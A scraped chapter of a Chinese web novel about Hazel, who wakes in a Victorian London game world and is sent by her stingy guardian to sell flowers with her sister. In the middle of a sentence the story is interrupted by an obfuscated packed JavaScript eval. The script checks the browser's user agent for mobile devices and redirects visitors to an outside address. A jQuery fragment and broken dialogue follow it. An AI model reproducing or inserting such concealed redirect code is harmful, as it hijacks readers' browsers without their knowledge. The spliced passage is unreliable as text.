默认冷灰
24号文字
方正启体

2. 晚饭

作者:金于铭本书字数:K更新时间:
    海泽尔也不知道游戏剧情,因为刚填好昵称就穿越了。


    据她这几天打听的消息来看,海泽尔的母亲简女士为了方便打工,才把女儿们寄养在希梅纳夫人的洗衣店。


    简女士和希梅纳夫人是同乡,很多年前一同到伦敦打拼,所以有了这份联系。


    简女士好像给人当女仆,如果带着孩子,不方便打工,只好将孩子寄养在别人那里。她选择希梅纳夫人,大概就是因为既是同乡,又有一起来到伦敦的情分。


    到目前为止,希梅纳夫人看上去不重视这个情分。她很少主动关怀海泽尔姐妹,经常粗暴地把她们当作免费员工。


    看来,希梅纳夫人之所以答应收留海泽尔姐妹,是为了钱。简女士每年一月向希梅纳夫人寄款,还会亲自来看望女儿。


    但现在已经是2月,她还没有汇款,更没有来探望,毫无音信,就像失踪了一样。


    希梅纳夫人因此很生气,她应得的寄养费已经拖了一个月。


    希梅纳夫人为此亲自去了一趟海泽尔母亲打工的地方,但什么也没打听到。


    回来后,她在餐桌上说,要给海泽尔姐妹找别的活,交不上钱就去流落街头。希梅纳夫人不能容忍海泽尔姐妹在这里吃白饭。


    洗衣店主要靠希梅纳夫人运转。希梅纳夫人很高,膀大腰圆,力气大,衣服洗得又快又干净,熨衣服也是一把好手。


    海泽尔还不知道,希梅纳夫人现在有了别的打算。


    海泽尔的母亲不汇款,家里就少了一笔收入。


    希梅纳夫人是这样想的:与其让海泽尔姐妹留在店里洗衣服,不如让她们去街上卖花,多赚两份钱。


    现在,她要去向海泽尔宣布她的新工作。


    海泽尔姐妹出去卖花后,就不能洗衣服。


    但希梅纳夫人筹划好了,她还有个女儿约兰达,让约兰达留在店里洗衣服就行了。


    这样过上几年,再来一个女婿,希梅纳夫人也不用愁了。


    约兰达是希梅纳夫人唯一的女儿,今年十七岁。她生就一头黑发,一双碧绿的眼睛,这使得她整张面庞看上去狡黠又迷人。她的个子随了希梅纳夫人,也很高。


    按理说,约兰达应该是洗衣店三个孩子中的主要劳力,但希梅纳夫人太宠她了,舍不得让她辛苦。


    假如海泽尔一日洗十几件衣服,那么约兰达洗个零头就行了。


    所以约兰达很悠闲,隔三差五出去闲逛,不知道在做什么。


    约兰达是海泽尔目前最讨厌的人。不为什么,只因为约兰达是个熊孩子,调皮捣蛋,又被希梅纳夫人惯坏了。


    大家都知道被惯坏了的孩子的脾气。约兰达被希梅纳夫人娇纵,经常为了偷懒,会把工作推到海泽尔姐妹身上。


    比如,今天本该是约兰达做晚饭,但现在在厨房的是海泽尔的妹妹夏洛特。


    约兰达心高气傲,见海泽尔姐妹寄人篱下,自觉高人一等,于是命令她们叫她“小姐”。


    海泽尔一穿越就遇到类似《悲惨世界》的情况,运气真不好。


    不过,她好歹上辈子开过花店,日后离开这里也能养得起自己。可现在她是一个营养不良的十六岁女孩,还没有积蓄。


    在她攒够开花店的钱之前,一个常见的出路就是去工厂当工人。这恐怕也是希梅纳夫人想让她们做的。


    洗衣店附近有一个火柴厂。听说那里的工人非常劳累,从凌晨工作到夜晚。再加上长时间和磷接触,以至于下巴退化,牙齿腐烂,脸上发光。


    海泽尔听后,每次点火柴都心惊胆战。现代的火柴没有磷。没想到她除了想念洗衣机,还会想念火柴。


    这个时代,女性没有多少工作选择,打工已经是不错的出路。工厂又很喜欢女工,因为工资低。


    海泽尔若打工,只能勉强求个温饱,更别说还要给希梅纳夫人钱。而且,一天工作十四个小时,弄出一身病才得了这点工资,简直是要她的命!


    海泽尔愁眉苦脸的时候,夏洛特从后院厨房出来,说晚饭已经做好了。


    夏洛特十三岁,比海泽尔小三岁。她也是一头淡金色长发,但是梳成了两个辫子,垂在胸前。


    她是一个性格文静的女孩,有些腼腆,寄人篱下的处境让她早早学会了忍耐。即使约兰达推卸责任,她也只能接受。


    但夏洛特有一个特点——她说话难听。


    比如现在,夏洛特对海泽尔说:“姐姐,我们今晚还是吃猪食。”


    海泽尔吓了一跳,连忙回头看希梅纳夫人在不在身后。


    为了这个妹妹的生命安全着想,她警告夏洛特别在希梅纳夫人面前这么说。


    再说,猪吃得比她们好。


    夏洛特乖乖闭嘴。她性格文静,也有不擅长说话的原因。


    这里没有餐厅,后院的厨房就是餐厅。夏洛特让海泽尔和她一起搬一张桌子过去,用来放食物。


    吃过饭后,这张桌子就会再收起来,以免影响下次做饭。


    晚餐是黑面包和炖土豆。炖土豆还好,虽然没放多少调料,但这是海泽尔唯一愿意吃的食物。


    今天,土豆里还放了些豆子,海泽尔更感到幸运了。海泽尔的妹妹夏洛特也小口小口吃着,非常珍惜,努力延长吃饭的时间。


    黑面包吃起来口感粗糙,像嚼木头,不怎么样,海泽尔吃的时候,只能感到自己在活着。


    约兰达来得有些晚,所以她坐下时受了希梅纳夫人的几句指责。


    海泽尔瞥见约兰达的嘴角有油光,断定她已经在外面吃了什么——可能是在熟食店买的香肠。


    其实以希梅纳夫人的经济水平,她们每天吃得起白面包,桌上能放几根香肠。逢年过节时,摆两只烧鹅也不为过。


    放眼四邻,虽然都是普通人,但有几个像希梅纳夫人这样赚了钱不肯享受呢?


    邻居二手货店的女儿就经常在街边买一两包炸土豆当零嘴。


    约兰达虽然是希梅纳夫人的女儿,深受疼爱,但希梅纳夫人很少给孩子钱。


    听说希梅纳夫人以前是个洗衣工,花光了积蓄才买下店,用了多年在街坊邻里攒下口碑,大家都愿意来洗衣服。


    但希梅纳夫人还是一如既往地吝啬,哪怕对约兰达也是如此。所以约兰达想花钱,也只能偷偷攒钱,或者找邻居烘焙坊的女儿朱丽叶借钱。


    喝茶主要是为了提神。因为是晚上,就不喝茶了。但她们喝的茶也不好,一小撮茶叶还没指甲盖大,却会泡四、五遍,直到和白开水一样。


    喝茶用碟子,不用杯,也是为了省钱。


    海泽尔其实喜欢喝茶,因为不放茶叶的话,就觉得伦敦的水有味道。


    想到这里,海泽尔忍不住摸摸自己的头发,还好,没有掉发的迹象。


    希梅纳夫人已经吃完了,她完全没有享受食物的意思。尽管海泽尔赞同这是普通的一餐,但她发现希梅纳夫人好像从没将吃饭当做一种休息或消遣。


    不过,在海泽尔这么想的时候,希梅纳夫人叫住了她和夏洛特:


    “我给你们找了活儿干。”


    海泽尔正襟危坐,夏洛特紧张得饭也不吃了。


    新工作是在街头卖花。而她们走后,洗衣任务就交到约兰达手里。


    海泽尔听了暗喜,原来她有主角光环,终于走回老本行了。


    而夏洛特呢,不知道是卖花辛苦还是洗衣更辛苦,茫然不知所措。希梅纳夫人说什么,她就答应。


    但约兰达就不乐意了:“妈妈,这不公平!”她从来不喜欢洗衣,现在却要多干两个人的活儿!


    何况,卖花听起来多么浪漫!约兰达自己在外面闲逛时,常常见到卖花女挑着一篮篮鲜花,成为伦敦街上的风景。


    希梅纳夫人严厉呵斥了她,埋怨约兰达不懂事。她已经决定的事,就不会再改变。


    约兰达泪花都出来了,也只能接受,于是不服气地看着海泽尔她们。


    希梅纳夫人难得对海泽尔姐妹叮嘱几句,让她们小心街上的男人。


    然后,希梅纳夫人又命约兰达明天早上带海泽尔和夏洛特去进花,因为她怀疑海泽尔姐妹会私吞钱。


    她其实想对了。


    晚饭后没什么事,海泽尔姐妹洗漱过,就收拾房间,准备睡觉。


    虽说冬雪已经化了,但天气依旧冷。


    约兰达睡前会点上炉火。那个炉子很小,耗煤量不大,所以供暖能力也有限。但海泽尔姐妹就没有了。


    冬天洗衣服,手容易出冻疮,痛得要命,但希梅纳夫人不同意在工作的时候点上炉火。


    海泽尔和妹妹聊天,主要是海泽尔在引夏洛特说话,获取有用信息。


    海泽尔自从穿越后,身边人并没有觉得她换了个人,她的一切言行都被理解为正常。比如,她不擅长洗衣服,希梅纳夫人也没有表示出异样,只当她是犯懒了。


    现在,海泽尔问夏洛特除了失踪的母亲,记不记得父亲,想打听信息。


    夏洛特声音细微:“我没见过父亲,他在妈妈生下我不久后就得病死了,好像是肺结核。那时候,妈妈还不是女仆,而是在一个饭馆刷盘子。”


    她说到这里,不禁感到伤心,因为父亲曾是饭馆的服务员。服务员对普通人来说是很好的工作,可以拿小费。


    父亲死后,母亲也丢了工作。她孤立无援,没有办法,才找了包吃住的女仆工作,又送她们姐妹到希梅纳夫人这里。


    打听过信息,海泽尔一边用针线缝补自己的衣服,一边说起明天卖花一事:“希梅纳夫人让我们去卖花,是件好事。卖花虽然也辛苦,但比洗衣服有趣。”


    夏洛特听了,看了看自己生出冻疮的手,心想也是,洗衣服的话,手总要泡在冷水里,还要接触很多腐蚀性的清洁工具。


    而且,整日待在屋里洗衣服,确实没趣。她年纪小,虽然不爱说话,但也喜欢出去玩。


    若是卖花,她就可以在收工后去逛逛商店,看看风景。


    夏洛特还幻想,也许她还有空在院子的土地上用树枝画画。她在街上见过一些流浪画家用粉笔在路上画画,画得活灵活现。夏洛特买不起粉笔,只能用树枝在后院泥土地上画画。


    卖花也不是不会吃苦。卖花只能在户外,风吹日晒的,自然是个苦差事。相比之下,洗衣服倒是一直在屋里。但卖花的确比洗衣服有意思,更吸引年轻人。


    除了这点,海泽尔还有别的想法,她劝说夏洛特:“卖花的钱虽然要上交给希梅纳夫人,但她不知道我们究竟做了多少交易,我们可以偷偷藏一部分钱。”


    夏洛特感兴趣了,她问:“藏钱做什么?买零食吗?”


    海泽尔“嗯”了一声,买喜欢吃的食物是自然的,但她想的不是这个,而是长远打算。


    “我们虽然学了洗衣的手艺,但没有什么竞争力。”


    她见夏洛特不懂,解释道:“很多人都会洗衣服,对吧?如此一来,竞争者就很多,洗衣服的工钱,就慢慢压低了。”


    洗衣工不是什么好职业,没有上升的空间。若要想赚钱,只能像希梅纳夫人一样开店,多做生意。生意大了,还可以雇工。


    但有几人能像希梅纳夫人一样有买店面的本钱?所以,普通的洗衣妇要么是做家务时顺便洗邻居的衣服,要么在洗衣店打工。


    即使能开洗衣店,利润也不像花店那样高。花店既然做鲜花生意,就注定要服务中产阶级及以上的市场。


    另外,鲜花行业也不只有开花店一个选择,种花、育种、运输、销售、花艺……产业链很长。


    而洗衣店,如希梅纳夫人的,做的是熟人生意,服务的都是附近街区的居民。他们收入不高,希梅纳夫人也只能定低价。


    洗衣店若做高档生意,也不是不行,但很多有钱人家里就有专门洗衣服的女仆。


    海泽尔还要考虑姐妹两人的特殊处境。在未来,希梅纳夫人的洗衣店当然是给约兰达继承的。


    如果留在洗衣店,海泽尔姐妹只能当洗衣工。想想看,就依约兰达和她妈妈一脉相传的脾气,她们母女会开多高的工资?


    海泽尔努力给夏洛特画饼:“我们被寄养在洗衣店,妈妈也给了钱,但希梅纳夫人没有把钱花在实处,这些年也经常让我们干活,不给工钱。我们刚好借着卖花的机会,多学鲜花知识,也多出去熟悉社会,增长见识。以后离开洗衣店了,才好独自打拼。到那时,我们姐妹开个花店,赚的钱都是自己的。”


    海泽尔的确熟悉鲜花行业,所以这一世依然想回到老行业。


    海泽尔这几天多次打听,现在又表现出对卖花的热情,夏洛特也没有怀疑。


    海泽尔有所感悟,大概是因为这个人物本就是她创建的游戏账号,这个世界为她而生,自然会接受她的一切。那么,“海泽尔”是她自己也没错。


    但出于谨慎,海泽尔还是圆一下逻辑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362560|183757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“其实,我早就有这个想法了,只是以前希梅纳夫人不放人,所以才不说,绝不是魔鬼上身。”夏洛特“嗯”了一声,又说:“姐姐,你不会鬼上身的。你要是有这种本领,就不会这么穷了。”


    海泽尔催她睡觉,不要再说话了。


    临睡前,海泽尔还在想开花店的事。


    她们现在没有本钱,只能靠卖花过渡。未来有了资金,就能盘下一个小花店,好好经营。


    海泽尔在现代见过的很多技术和营销手段,是这个时代还没有的。到时候,她就能取得先机。


    最重要的是,海泽尔喜欢鲜花。一想到明天去卖花,海泽尔就激动得难以入睡。


    第二天一早,海泽尔带着困意被鸡鸣吵醒了。店里养了公鸡,刚好可以当闹钟。


    它们酷爱打鸣,附近邻居经常被它们打扰,所以来希梅纳夫人这里告状了几次,但希梅纳夫人从来不管。


    海泽尔打了个哈欠,还很困,不想起床,但一想到卖花,就精神抖擞,飞快起身,倒尿桶去。然后和夏洛特去厨房切面包、煮茶。


    但约兰□□床了,所以她们的出发时间晚了一些。


    这听上去没什么,但实际上很严重——迟到,就意味着她们可能挑不到最新鲜的花。


    如果卖不新鲜的花,不仅顾客不喜欢,还容易枯萎,烂在手里,那么就赔本了。


    新鲜的花,质量好,花期长。花有花期,所以卖花也有风险。如果进新鲜采下来的花,即使当天没卖掉,也可以留到明天再卖。


    约兰达虽然赖床,但毫无歉意,得意洋洋地带她们去隔壁烘焙坊买黑面包:“要两便士的黑面包。”钱都在她手里。


    接待她们的是烘焙坊老板霍莉。她是个胖女人,胳膊上有很多肉,看上去很有力气。她的身后传来一股面包热气腾腾的香味,是后院厨房做的。


    店里面除了霍莉,还有她的两个小孩子,正在扫地。


    霍莉笑眯眯地说:“黑面包涨价了,以前是一便士一磅,现在是一个便士又一个法寻。”


    法寻是英国最小的货币单位,一个法寻是四分之一便士。不过,在民间仍有比法寻更小的货币,比如把一个法寻切成四块用,这在以前经常发生。后来,英国废了这个货币单位——但那是以后的事了。


    所以,一磅黑面包涨价到1.25便士。约兰达想买两磅黑面包,总共需要付两个半便士。


    一磅面包大约是现代的450g,是海泽尔半天的口粮。


    烘焙坊老板已经装好两个黑面包,但约兰达坚持只给两便士,前者不禁皱起眉头,显然不愿意。


    两人于是僵持一会儿,谁也不肯让步。


    海泽尔再也忍不住了,只吃黑面包就已经够烦的,份量又要缩水,她干脆直接从桌子上拿起两个黑面包,拉上夏洛特跑出烘焙坊。


    这下,约兰达不得不付了两个半便士,匆忙追上了她们,一边喘着气,一边宣布她要告诉妈妈。


    “还有,要叫我小姐!”


    海泽尔厌恶:“你告吧。”


    这就是她最讨厌约兰达而不是希梅纳夫人的原因。希梅纳夫人虽然脾气差又偏心,但也不是一无是处。如果是希梅纳夫人在场,她必定会逼烘焙坊老板按原价卖,而不是少买面包。


    三人僵硬地一同行走,终于到了进花的地方。


    老板卖的花,当然不是自己种的。他也是个二道贩子,从花市进货,卖给卖花女。老板批发得多,成本价低,所以没有涨多少卖价。


    卖花女若是自己去花市进货,可能会更便宜;但很多住在附近的人乐意从这里进货,就是图个方便。


    除了鲜花,老板还卖菜,胡萝卜、白萝卜、卷心菜……也是从花市进的。萝卜上沾着泥土,看起来还怪新鲜。有些卖花女买过花后,就顺手买了家里今天吃的菜。


    现在还不是卖花的最佳季节,老板能拿的货少,所以额外进些蔬果卖。等春天来了,卖花女会更多。很多穷人的工作是季节性的,比如夏天卖花,秋天卖水果,冬天卖烤栗子和咸肉。


    卖花女大多数提了篮子装花,这让海泽尔意识到自己的粗心,她什么也没带,等一会儿只能徒手拿花。


    在现代,最受欢迎的鲜花是玫瑰花。海泽尔猜十九世纪的西方也是这样。那么,她要徒手拿玫瑰花吗?想想就觉得难受。


    有的人生意做得好,居然推了一辆手推板车过来,在众人羡慕的目光下将各色鲜花装了满满一车,骄傲地推走。


    今日是二月二号,天气还是冷,但这里已经有一些春天的鲜花,如风信子、樱草花、水仙花等。各色鲜花铺了一地,让这个灰色的院子也变得生机盎然。


    其实这些花并不名贵,只是春花并未大量上市,所以现在物以稀为贵。像海泽尔这样的普通人,更愿意选择常见的玫瑰。


    这里的玫瑰花也分为两种:鲜花和干花。鲜花一便士两枝,干花一便士四枝。


    不知老板用了什么方法,有些干玫瑰保持了鲜花的美貌,但是大部分干花如黑炭一样焦黑,或如旧报纸一样焦黄,没办法恭维。他卖的干花,多是用质量不好的鲜花做的。做成干花,就能掩盖鲜花本身的缺点。


    海泽尔虽然排在后面,但伸着脖子,尽力看了半天花摊。她还以为这里的干花能像后世一样,各种各样,什么满天星啊,黄金球啊,蓬莱松啊,或者假花,永生花之类的。


    没想到就是很简单的干花。只有干玫瑰花,没有其他品种。


    好吧,她不应该期待一个卖给贫民区的花商能有多少品种花。


    海泽尔等人到的晚,前面人又多,只能眼睁睁地看着很多优质的花被挑走。


    轮到海泽尔时,卖花女已经所剩无几,而地上也只剩下一堆踩过的鲜花、焦黑的干花和平平无奇的配草。


    海泽尔看着这些花,内心犹豫。她其实一朵都不想要,但摊子上只剩这些花了。


    先说话的是夏洛特:“这怎么办?”她焦虑地看着海泽尔。


    海泽尔思考,这些花品相太差,不能买。要不,她们打道回府,明天再说?


    但约兰达这次却不知发什么疯,飞快地掏钱给老板。海泽尔急忙制止她:“你疯了!这些烂花没人买!”


    约兰达却不在乎:“反正我付过钱了,你们晚上交不出五个便士就等着吧!”说完她就大笑着一溜烟地跑了。


    海泽尔气坏了,约兰达这是在报复!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)